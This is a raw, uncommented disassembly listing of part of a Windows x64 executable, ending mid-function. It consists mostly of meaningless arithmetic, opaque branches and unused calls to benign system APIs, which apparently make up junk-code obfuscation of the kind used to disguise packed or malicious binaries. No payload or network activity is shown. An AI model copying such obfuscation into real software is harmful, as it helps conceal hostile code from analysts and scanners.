mov dword [rsp + 0x2080], eax
cmp dword [rsp + 0x2080], 0
je 0x1400066e9
cmp dword [rsp + 0x2080], 0xf3116deb
je 0x140006691
jmp 0x140006722
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5208]
mov byte [rcx], al
lea rdx, [rsp + 0x21d90]
mov ecx, 0x35
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov dword [rsp + 0x1f68], eax
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x82c]
sub eax, ecx
mov word [rsp + 0x840], ax
jmp 0x140006722
movsx eax, word [rsp + 0x830]
movsx ecx, word [rsp + 0x838]
and eax, ecx
mov word [rsp + 0x83c], ax
lea rax, [rsp + 0xe5]
mov qword [rsp + 0x5218], rax
lea rcx, [rsp + 0x12998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
nop
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x2084], eax
lea rax, [rsp + 0x830]
mov qword [0x1400f8fa8], rax
mov rax, qword [rsp + 0x5198]
mov ecx, dword [rsp + 0x2058]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5150]
mov edx, dword [rsp + 0x1fa0]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jl 0x1400068d7
mov rax, qword [0x1400f8f98]
mov rcx, qword [rsp + 0x5060]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50b8], rax
lea rax, [rsp + 0x51a8]
mov qword [rsp + 0x5220], rax
lea rax, [rsp + 0x2058]
mov qword [rsp + 0x5228], rax
lea rcx, [rsp + 0x5230]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x834]
sub eax, ecx
mov word [rsp + 0x828], ax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
mov dword [rsp + 0x2088], ecx
movsx edx, byte [rsp + 0xe5]
movzx ecx, dl
mov edx, dword [rsp + 0x2088]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1400068d2
mov rax, qword [rsp + 0x5200]
movzx eax, byte [rax]
mov byte [rsp + 0x208c], al
cmp byte [rsp + 0x208c], 0
je 0x14000685e
cmp byte [rsp + 0x208c], 0x63
je 0x1400068b6
jmp 0x1400068d2
lea rax, [rsp + 0x79]
mov qword [rsp + 0x5238], rax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x83c]
or eax, ecx
mov word [rsp + 0x838], ax
movzx eax, byte [0x1400f8005]
mov byte [rsp + 0xe8], al
movzx eax, word [rsp + 0x82c]
mov word [rsp + 0x844], ax
lea rcx, [rsp + 0x129c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
jmp 0x1400068d2
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x83c]
xor eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
jmp 0x14000699b
movsx eax, word [rsp + 0x83c]
mov dword [rsp + 0x2090], eax
cmp dword [rsp + 0x2090], 0x4d81
je 0x1400068f5
jmp 0x140006914
mov eax, dword [rsp + 0x2058]
movzx ecx, al
mov eax, dword [rsp + 0x1fd4]
shl eax, cl
mov dword [rsp + 0x1fb0], eax
jmp 0x14000699b
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x5010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov r9, qword [rsp + 0x5240]
mov r8, qword [rsp + 0x5248]
mov rdx, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x5250]
call qword [sym.imp.SHELL32.dll_ShellAboutA]
mov dword [rsp + 0x1fd4], eax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [str.VZl9]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ce8], rax
mov eax, dword [rsp + 0x1fb0]
mov ecx, dword [rsp + 0x2058]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5228]
mov dword [rcx], eax
cmp dword [rsp + 0x1f9c], 0x7b2c
ja 0x140006d18
lea rcx, [rsp + 0x5230]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x5238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0x79], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5058], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f74], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fe4], eax
mov eax, dword [rsp + 0x1f9c]
add eax, 0xed
mov dword [rsp + 0x1f9c], eax
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x83c]
add eax, ecx
mov word [rsp + 0x830], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5258], rax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov rcx, qword [rsp + 0x5200]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x2018], eax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x50b8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1400f8f98], rax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x5228]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
lea rcx, [rsp + 0x5070]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x1ffc], eax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5158]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5220]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x50c0], rax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x834]
shl eax, cl
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x5198]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5228]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5260], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5058], rax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x5238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5218]
mov byte [rcx], al
lea rcx, [rsp + 0x12a28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0xe4]
and eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5158]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2058], eax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x51a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0x5238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0x5238]
mov byte [rcx], al
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1c510]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [rsp + 0x2000], eax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x2094], eax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov byte [rsp + 0xe6], al
movsx eax, word [0x1400f8f90]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x838], ax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
lea rcx, [rsp + 0x129f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x83c]
sar eax, cl
mov word [rsp + 0x830], ax
jmp 0x14000699b
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f80]
or ecx, eax
mov eax, ecx
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x1f5c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x1400dc9ad
mov rax, qword [rsp + 0x5128]
movsx eax, byte [rax]
movsx ecx, byte [0x1400f8004]
sub eax, ecx
mov byte [rsp + 0xe5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2098], eax
mov dword [rsp + 0x209c], 0x916a
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x5268], rax
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, word [rsp + 0x840]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
movzx ecx, word [rsp + 0x828]
mov dword [rsp + 0x20a0], ecx
movzx edx, word [rsp + 0x834]
movzx ecx, dl
mov edx, dword [rsp + 0x20a0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140006e05
lea rdx, [rsp + 0xe6]
lea rcx, [rsp + 0x5170]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x20a4], eax
jmp 0x140006f34
movsx eax, word [rsp + 0x830]
mov dword [rsp + 0x20a8], eax
cmp dword [rsp + 0x20a8], 0xffff9117
je 0x140006e26
jmp 0x140006f0c
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5208]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x5238]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x140006edb
lea rax, [rsp + 0x844]
mov qword [rsp + 0x5270], rax
movsx eax, word [rsp + 0x83c]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x830], ax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x1f5c]
add ecx, eax
mov eax, ecx
mov dword [0x1400f8010], eax
lea rax, [rsp + 0x1fa0]
mov qword [rsp + 0x5278], rax
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x50b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5058], rax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x20ac], eax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5088]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ce8], rax
jmp 0x140006f29
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x834]
add eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov dword [rsp + 0x20b0], 0x6aa7
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x840]
and eax, ecx
mov word [rsp + 0x844], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov dword [rsp + 0x20b4], eax
cmp dword [rsp + 0x20b4], 0
je 0x140006f8c
cmp dword [rsp + 0x20b4], 0x2e47e341
je 0x1400070c2
jmp 0x14000710c
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5008], rax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5208]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0xe7]
add ecx, edx
cmp eax, ecx
jl 0x14000705f
mov rax, qword [rsp + 0x5200]
movzx eax, byte [rax]
mov byte [rsp + 0x20b8], al
cmp byte [rsp + 0x20b8], 0
je 0x140007041
cmp byte [rsp + 0x20b8], 7
je 0x140006ff4
jmp 0x14000705d
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe6], al
mov r9d, dword [rsp + 0x2058]
mov r8, qword [rsp + 0x5060]
mov rax, qword [rsp + 0x5208]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rax]
call fcn.1400ddd30
nop
jmp 0x14000705d
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5260], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5280], rax
jmp 0x1400070c0
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
mov dword [rsp + 0x20bc], ecx
mov rdx, qword [rsp + 0x5238]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x20bc]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1400070c0
xor r8d, r8d
lea rdx, [rsp + 0x21d90]
lea rcx, [rsp + 0x844]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x20c0], eax
jmp 0x14000710c
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x830]
sar eax, cl
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x5098]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x2068], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x20c4], eax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20ac], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5038], rax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x51a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x50b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5060], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2078], eax
lea rcx, [rsp + 0x12a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fd4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5228]
mov dword [rcx], eax
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x830]
sub eax, ecx
mov word [rsp + 0x83c], ax
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x828]
sub eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [rsp + 0x79], al
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x830]
add eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x5010]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x50b8], rax
mov rax, qword [str.VZl9]
movzx ecx, al
mov rax, qword [rsp + 0x50c0]
sar rax, cl
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov dword [rsp + 0x203c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x206c], eax
mov eax, dword [rsp + 0x2058]
mov rcx, qword [rsp + 0x5198]
mov qword [rsp + 0x5288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5288]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1fd4], eax
mov rax, qword [rsp + 0x5208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x828]
and eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
movsx eax, word [0x1400f8f90]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x830], ax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5118]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d64]
mov ecx, dword [rsp + 0x1f80]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov eax, dword [rsp + 0x1fb0]
mov ecx, dword [rsp + 0x1fd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2058], eax
lea rcx, [rsp + 0x12ab8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f90], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5018], rax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x50b8], rax
mov eax, dword [rsp + 0x20b0]
add eax, 0xa5
mov dword [rsp + 0x20b0], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x5088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x51a8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x2070], eax
cmp dword [rsp + 0x20b0], 0x8997
jbe 0x14000710c
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov edx, dword [rsp + 0x1fd4]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
je 0x140007475
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5238]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe7], al
jmp 0x1400075b7
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
mov rdx, qword [0x1400f8fa0]
movzx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
je 0x1400075b7
mov rax, qword [rsp + 0x5200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
shl eax, cl
movzx ecx, byte [0x1400f8005]
movzx edx, byte [rsp + 0xe8]
sub ecx, edx
cmp eax, ecx
jge 0x140007512
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x828]
sub eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x83c]
and eax, ecx
mov word [rsp + 0x830], ax
movzx eax, word [rsp + 0x840]
mov dword [rsp + 0x20c8], eax
cmp dword [rsp + 0x20c8], 0x5d3
je 0x140007530
jmp 0x14000759b
mov rax, qword [rsp + 0x5218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0x5208]
mov byte [rcx], al
lea r9, [rsp + 0x51b8]
lea r8, [rsp + 0x5270]
lea rdx, [rsp + 0x50b0]
lea rcx, [rsp + 0x1f5c]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x2034], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
add eax, ecx
mov word [rsp + 0x840], ax
jmp 0x1400075b7
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x830]
sub eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x20cc], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1fdc], eax
mov rax, qword [0x1400f8f98]
mov qword [rsp + 0x5290], rax
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x51a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
mov dword [rsp + 0x20d0], eax
cmp dword [rsp + 0x20d0], 0x18f
je 0x140007636
cmp dword [rsp + 0x20d0], 0xe5f
je 0x14000771a
jmp 0x14000774c
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x20d4], eax
cmp dword [rsp + 0x20d4], 0x9c6824a8
je 0x1400076a6
cmp dword [rsp + 0x20d4], 0xd34ce467
je 0x140007666
jmp 0x140007718
mov rax, qword [rsp + 0x5278]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x5118]
mov r8, qword [rax]
movzx edx, word [rsp + 0x838]
mov rax, qword [rsp + 0x5270]
movzx ecx, word [rax]
call fcn.1400de040
nop
jmp 0x140007718
mov rdx, qword [rsp + 0x51d8]
lea rcx, [rsp + 0x5158]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
mov dword [rsp + 0x204c], eax
mov rax, qword [rsp + 0x5178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov byte [rsp + 0xe4], al
mov edx, 0xda
mov rcx, qword [rsp + 0x5298]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexA]
mov dword [rsp + 0x1fb0], eax
jmp 0x14000774c
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x840]
add eax, ecx
mov word [rsp + 0x844], ax
lea rcx, [rsp + 0x5068]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x203c], eax
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov byte [rsp + 0xe9], al
cmp dword [rsp + 0x200c], 0x329a
jbe 0x140007afa
movsx eax, word [0x1400f8f90]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x830], ax
lea rcx, [rsp + 0x5160]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2078], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x203c]
mov eax, dword [rax]
or eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x50b8]
shr rax, cl
mov qword [rsp + 0x5010], rax
mov eax, dword [rsp + 0x1fb0]
movzx ecx, al
mov eax, dword [rsp + 0x2058]
shl eax, cl
mov dword [rsp + 0x1fa0], eax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x51a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [rsp + 0x82c], ax
mov rax, qword [rsp + 0x5218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
add eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
lea rcx, [rsp + 0x52a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x51a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
lea rcx, [rsp + 0x129f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, ILClone
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x2094], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x51f0], rax
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5200]
mov byte [rcx], al
movsx eax, word [rsp + 0x830]
mov rcx, qword [0x1400f8fa8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400f8f90], ax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x5198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1fa0], eax
mov eax, dword [rsp + 0x200c]
sub eax, 0x1b
mov dword [rsp + 0x200c], eax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x50c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x51a8], rax
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [section..data]
shl eax, cl
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5060]
shr rax, cl
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe9], al
movzx eax, word [rsp + 0x828]
mov rcx, qword [rsp + 0x5270]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x5218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5238]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe5], al
lea rcx, [rsp + 0x16a70]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x20d8], eax
mov rax, qword [rsp + 0x5208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5238]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5178]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x51a8]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
